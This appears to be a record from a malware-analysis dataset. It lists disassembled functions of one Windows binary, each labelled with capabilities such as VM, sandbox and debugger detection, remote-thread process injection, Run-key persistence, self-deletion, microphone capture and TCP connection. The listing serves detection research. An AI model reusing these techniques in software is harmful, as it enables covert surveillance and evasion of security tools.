joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e8f4
Capabilities:
Query environment variable

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffc00
mov esi, edx
mov edi, eax
mov eax, esi
call fcn.004052b8
push 0x400
lea eax, [esp + 4]
push eax
mov eax, edi
call fcn.00405764
mov ebp, eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
mov ebx, eax
cmp ebx, 0x400
jge 0x40e939
mov edx, esp
mov eax, esi
mov ecx, ebx
call fcn.004053a8
jmp 0x40e952
mov edx, ebx
dec edx
mov eax, esi
call fcn.00405998
push ebx
mov eax, dword [esi]
call fcn.00405764
push eax
push ebp
call sub.kernel32.dll_GetEnvironmentVariableA
add esp, 0x400
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x41b148
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
mov ebx, eax
mov eax, dword [ebx + 4]
push eax
call sub.kernel32.dll_ResumeThread
mov esi, eax
test esi, esi
setge dl
mov eax, ebx
call fcn.0041ae84
dec esi
jne 0x41b16a
mov byte [ebx + 0xe], 0
pop esi
pop ebx
ret

Function at 0x41b2b8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x495a44
cmp dword [edi], 0
jne 0x41b334
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x495a40]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x461b08
mov ecx, 2
call fcn.00403114
mov edx, 0x41b290
lea eax, [esi + 5]
call fcn.0041b2b0
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0041b2b0
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x41b309
mov dword [0x495a40], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x41baf8
Capabilities:
Query or enumerate registry key

Disassembly:
push ebx
push esi
mov ebx, edx
mov esi, eax
mov eax, ebx
xor ecx, ecx
mov edx, 0x1c
call fcn.004039f0
lea eax, [ebx + 0x14]
push eax
push 0
lea eax, [ebx + 0x10]
push eax
lea eax, [ebx + 0xc]
push eax
lea eax, [ebx + 8]
push eax
push 0
lea eax, [ebx + 4]
push eax
push ebx
push 0
push 0
push 0
mov eax, dword [esi + 4]
push eax
call sub.advapi32.dll_RegQueryInfoKeyA
test eax, eax
sete al
mov edx, dword [0x490c68]
cmp byte [edx + 0xc], 0
je 0x41bb5c
mov edx, dword [0x490c5c]
cmp dword [edx], 2
jne 0x41bb5c
mov edx, dword [ebx + 4]
add dword [ebx + 4], edx
mov edx, dword [ebx + 0xc]
add dword [ebx + 0xc], edx
pop esi
pop ebx
ret
Function at 0x41bb60
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 4], ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x41bc18
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
mov edx, dword [eax]
call dword [edx + 0x44]
lea edx, [ebp - 0x28]
mov eax, edi
call fcn.0041baf8
test al, al
je 0x41bbfa
mov ecx, dword [ebp - 0x24]
inc ecx
lea eax, [ebp - 4]
xor edx, edx
call fcn.004053a8
mov ebx, dword [ebp - 0x28]
dec ebx
test ebx, ebx
jl 0x41bbfa
inc ebx
xor esi, esi
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0xc], eax
push 0
push 0
push 0
push 0
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
push esi
mov eax, dword [edi + 4]
push eax
call sub.advapi32.dll_RegEnumKeyExA
mov eax, dword [ebp - 4]
call fcn.00405764
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.004054b0
mov edx, dword [ebp - 0x2c]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
call dword [ecx + 0x38]
inc esi
dec ebx
jne 0x41bbb3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41bc1f
lea eax, [ebp - 0x2c]
call fcn.004052b8
lea eax, [ebp - 4]
call fcn.004052b8
ret

Function at 0x41bd7c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00405764
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x41bdd4
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x490c78]
mov dl, 1
mov eax, dword [0x41b5d0]
call fcn.0040cfb4
call fcn.00404c08
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.0041b6d8
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x41cec0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x41cec6
ret
Function at 0x424a50
Capabilities:
Reference the vmware io port

Disassembly:
xor eax, eax
push 0x424a78
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, 0x564d5868
mov ebx, 0x3c6cf712
mov ecx, 0xa
mov dx, 0x5658
in eax, dx
mov eax, 1
jmp 0x424a8b
xor ebx, ebx
pop dword fs:[ebx]
add esp, 4
ret

Function at 0x424a94
Capabilities:
Check for vm using instruction vpcext

Disassembly:
push ebp
mov ecx, 0x424ade
mov ebp, esp
push ebx
push ecx
push dword fs:[0]
mov dword fs:[0], esp
mov ebx, 0
mov eax, 1
invalid

Function at 0x424c54
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x424c6c
call sub.kernel32.dll_GetModuleHandleA_2
test eax, eax
je 0x424c67
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x424c78
Capabilities:
Check for sandbox and av modules

Disassembly:
push ebx
xor ebx, ebx
push 0x424c90
call sub.kernel32.dll_GetModuleHandleA_2
test eax, eax
je 0x424c8b
mov bl, 1
mov eax, ebx
pop ebx
ret

Function at 0x424c9c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x424d04
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x424cef
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x424d30
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x424d3c
jne 0x424cef
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x424d54
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x424dbc
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x424da7
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x424de8
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x424df4
jne 0x424da7
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret

Function at 0x424e0c
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
add esp, 0xfffffef4
xor ebx, ebx
push esp
push 1
push 0
push 0x424e74
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x424e5f
mov dword [esp + 4], 0x101
lea eax, [esp + 4]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
push 0x424ea0
mov eax, dword [esp + 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
lea eax, [esp + 8]
cmp eax, 0x424eac
jne 0x424e5f
mov bl, 1
mov eax, dword [esp]
push eax
call sub.advapi32.dll_RegCloseKey_1
mov eax, ebx
add esp, 0x10c
pop ebx
ret
Function at 0x424ec4
Capabilities:
Check for sandbox username or hostname
Get session user name

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x424f77
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x424f1a
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 4]
mov edx, dword [ebp - 8]
call fcn.00405998
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
call sub.advapi32.dll_GetUserNameA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x424f2c
lea edx, [ebp - 0xc]
mov eax, dword [ebp - 4]
call fcn.004249c8
mov eax, dword [ebp - 0xc]
push eax
lea edx, [ebp - 0x10]
mov eax, 0x424f90
call fcn.004249c8
mov edx, dword [ebp - 0x10]
pop eax
call fcn.004056fc
sete bl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x424f7e
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.004052dc
lea eax, [ebp - 4]
call fcn.004052b8
ret

Function at 0x424ff4
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
je 0x42500b
jne 0x425012
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
cmp dword [ebp - 8], 1
jne 0x425021
mov dl, 1
cmp dword [ebp - 4], 1
jne 0x425029
xor edx, edx
mov eax, edx
pop ecx
pop ecx
pop ebp
ret

Function at 0x42504c
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
xor eax, eax
push ebp
push 0x4250a2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4250b8
call fcn.00405350
push 0
push dword [ebp - 4]
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
or al, al
jne 0x425085
xor eax, eax
leave
ret
mov eax, 1
leave
ret

Function at 0x4250e0
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
add dword [eax + 0x20], 0x2000
ret

Function at 0x425504
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push 0
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x42558a
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
mov edx, ebx
call fcn.004054b0
mov eax, dword [ebp - 8]
test eax, eax
je 0x425538
sub eax, 4
mov eax, dword [eax]
push 0x40
push 0x3000
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.004054b0
mov eax, dword [ebp - 0xc]
test eax, eax
je 0x425561
sub eax, 4
mov eax, dword [eax]
lea edx, [ebp - 4]
push edx
inc eax
push eax
push ebx
push edi
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x425591
lea eax, [ebp - 0xc]
mov edx, 2
call fcn.004052dc
ret
Function at 0x42559c
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
push ebp
push ecx
mov esi, ecx
mov ebp, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov edi, eax
push esp
push esi
push ebp
push edi
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, edi
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x4255cc
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.0042559c
mov esi, eax
mov eax, edi
call fcn.004254e0
mov ecx, eax
mov edx, edi
mov eax, ebx
call fcn.0042559c
lea edx, [ebp - 0xc]
push edx
push 0
push esi
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov edi, eax
cmp byte [ebp + 8], 0
je 0x425632
push 0xffffffffffffffff
push edi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x425c84
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x425d06
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
push 0x425d14
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
test eax, eax
jne 0x425cf0
push 0x495adc
call sub.kernel32.dll_lstrlenA_1
mov ebx, eax
push ebx
push 0x495adc
push 1
push 0
mov eax, dword [ebp - 4]
call fcn.00405764
push eax
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
jne 0x425cf0
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x425d0d
lea eax, [ebp - 4]
call fcn.004052b8
ret

Function at 0x425d44
Capabilities:
Create process on windows
Query environment variable
Self delete

Disassembly:
add esp, 0xfffffe00
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
test eax, eax
je 0x425dda
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
lea eax, [esp + 8]
push eax
call sub.kernel32.dll_GetShortPathNameA
push 0x425de4
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcpyA
push esp
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push 0x425dec
lea eax, [esp + 0x104]
push eax
call sub.kernel32.dll_lstrcatA
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push 0x425df4
call sub.kernel32.dll_GetEnvironmentVariableA
test eax, eax
je 0x425dda
push 0
push 0
lea eax, [esp + 0x108]
push eax
lea eax, [esp + 0xc]
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA_1
cmp eax, 0x20
add esp, 0x200
ret

Function at 0x425dfc
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
xor edx, edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x425eff
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.004057c4
push eax
call sub.kernel32.dll_lstrlenA_1
test eax, eax
je 0x425ee4
push pe_nt_image_headers32
push 0x495adc
push 0
call sub.kernel32.dll_GetModuleFileNameA_1
lea eax, [ebp - 4]
call fcn.004057c4
push eax
push 0x495adc
call sub.kernel32.dll_lstrcmpA
test eax, eax
je 0x425ee4
mov dl, 1
mov eax, dword [0x417178]
call fcn.0040440c
mov ebx, eax
lea eax, [ebp - 8]
mov edx, 0x495adc
mov ecx, pe_nt_image_headers32
call fcn.00405528
mov edx, dword [ebp - 8]
mov eax, ebx
call fcn.00419f40
push 0
push 0
mov eax, ebx
call fcn.004197d0
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00419e6c
cmp byte [0x4623a4], 0
je 0x425eb2
call fcn.00425d44
jmp 0x425eb9
mov byte [0x4623a4], 0
push 0
push 0
push 0
lea eax, [ebp - 4]
call fcn.004057c4
push eax
push 0
push 0
call sub.shell32.dll_ShellExecuteA_1
cmp eax, 0x20
jb 0x425edd
push 0
call sub.kernel32.dll_ExitProcess_1
mov eax, ebx
call fcn.0040443c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x425f06
lea eax, [ebp - 8]
mov edx, 2
call fcn.004052dc
ret
Function at 0x4294c4
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x4294f2
mov eax, ebx
call fcn.00429f78
cmp dword [ebx + 0x40], 0
je 0x4294eb
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x429563
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x429555
cmp dword [ebx + 8], 0
je 0x429514
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x429526
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x429555
cmp dword [ebx + 8], 0
je 0x429507
cmp eax, 3
je 0x429539
dec eax
jne 0x429507
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x429507
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x429507
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x429581
cmp dword [ebx + 0x14], 0xcc
je 0x429581
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.0042958c
pop ebx
ret

Function at 0x43a5b0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x495be4
cmp dword [edi], 0
jne 0x43a62c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x495be0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x462cdc
mov ecx, 2
call fcn.00403114
mov edx, 0x43a588
lea eax, [esi + 5]
call fcn.0043a5a8
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043a5a8
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43a601
mov dword [0x495be0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x43a7a8
Capabilities:
Capture microphone audio

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cmp byte [eax + 4], 0
je 0x43a8be
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInUnprepareHeader
test eax, eax
jne 0x43a8c9
mov eax, dword [ebp - 8]
mov ebx, dword [eax + 8]
mov eax, dword [ebp - 4]
cmp word [eax + 0xa2], 0
je 0x43a84c
mov eax, ebx
call fcn.00402ea0
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x43a845
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, ebx
call fcn.00403114
push ebx
mov ebx, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 4]
mov eax, dword [ebx + 0xa4]
call dword [ebx + 0xa0]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43a84c
mov eax, dword [ebp - 0xc]
call fcn.00402ebc
ret
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
mov edx, dword [ebp - 8]
mov dword [edx + 4], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 8], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0xc], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x10], edx
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax + 0x14], edx
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
xor ecx, ecx
call fcn.00408288
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x43a8c9
push 0x20
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
jne 0x43a8c9
jmp 0x43a8c9
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.0043aa7c
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x43a8d0
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff7c
mov esi, edx
lea edi, [esp]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov ebx, eax
cmp byte [ebx + 4], 0
jne 0x43a949
push 0x10004
push 0
mov eax, dword [ebx + 0x98]
push eax
lea eax, [esp + 0xc]
push eax
push 0
lea eax, [ebx + 0x94]
push eax
call sub.winmm.dll_waveInOpen
test eax, eax
jne 0x43a949
movzx esi, byte [ebx + 0x91]
test esi, esi
jle 0x43a928
mov eax, ebx
call fcn.0043aa14
dec esi
jne 0x43a91e
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInStart
test eax, eax
jne 0x43a949
mov esi, esp
lea edi, [ebx + 0x10]
mov ecx, 0x20
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov byte [ebx + 4], 1
add esp, 0x84
pop edi
pop esi
pop ebx
ret
Function at 0x43aa14
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
mov ebx, eax
mov eax, 0x20
call fcn.00402ea0
mov edi, eax
mov edx, edi
mov eax, dword [ebx + 8]
call fcn.0043a34c
mov esi, edi
mov eax, dword [ebx + 0xc]
call fcn.00402ea0
mov dword [esi], eax
mov eax, dword [ebx + 0xc]
mov dword [esi + 4], eax
xor eax, eax
mov dword [esi + 8], eax
xor eax, eax
mov dword [esi + 0x10], eax
xor eax, eax
mov dword [esi + 0x14], eax
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInPrepareHeader
test eax, eax
jne 0x43aa74
push 0x20
push edi
mov eax, dword [ebx + 0x94]
push eax
call sub.winmm.dll_waveInAddBuffer
test eax, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret

Function at 0x43ab0c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov eax, dword [ebp - 4]
call fcn.00405754
xor eax, eax
push ebp
push 0x43ac12
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.0043ac20
xor eax, eax
push ebp
push 0x43ab86
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.00405764
mov dword [ebx + 4], eax
push 0
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebx + 0x10], eax
mov word [ebp - 0x14], 2
push esi
call sub.wsock32.dll_htons
mov word [ebp - 0x12], ax
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_inet_addr
mov dword [ebp - 0x10], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43ab97
cmp dword [ebp - 0x10], 0xffffffff
jne 0x43abb4
mov eax, dword [ebx + 4]
push eax
call sub.wsock32.dll_gethostbyname
test eax, eax
je 0x43abfc
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x43abdd
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x10
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebx + 0x10]
push eax
call sub.wsock32.dll_connect
mov esi, eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x43abee
test esi, esi
jge 0x43abf8
mov byte [ebx + 0xc], 0
jmp 0x43abfc
mov byte [ebx + 0xc], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x43ac19
lea eax, [ebp - 4]
call fcn.004052b8
ret
Function at 0x43b958
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x495ddc
cmp dword [edi], 0
jne 0x43b9d4
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x495de0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x462e58
mov ecx, 2
call fcn.00403114
mov edx, 0x43b938
lea eax, [esi + 5]
call fcn.0043b930
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0043b930
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x43b9a9
mov dword [0x495de0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8